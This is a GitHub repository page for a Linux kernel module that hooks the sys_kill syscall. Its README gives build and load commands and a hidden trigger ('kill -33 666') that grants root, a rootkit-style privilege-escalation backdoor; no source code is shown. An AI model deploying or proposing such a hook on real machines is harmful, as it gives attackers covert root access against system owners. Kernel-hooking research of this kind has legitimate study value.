Skip to content

Sargastico/LKM-Kill-SysCallHook

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 

Repository files navigation

LKM-Kill-SysCallHook

LKM (linux kernel module) to hook syscall functions

Build the .ko (kernel object):

git clone https://github.com/Sargastico/LKM-Kill-SysCallHook.git && cd LKM-Kill-SysCallHook && make

Load the kernel module:

sudo insmod main.ko

Check the kernel log for lkm output:

sudo tail -f /var/log/kern.log

Get root by sending a "kill" command with a 33 "sig" to 666 "pid":

kill -33 666

About

LKM (linux kernel module) to hook "sys_kill" syscall and get root privileges. Tested on Linux debian 4.19.0-16-amd64 (This is not a rootkit prototype).

Resources

Stars

1 star

Watchers

2 watching

Forks

Contributors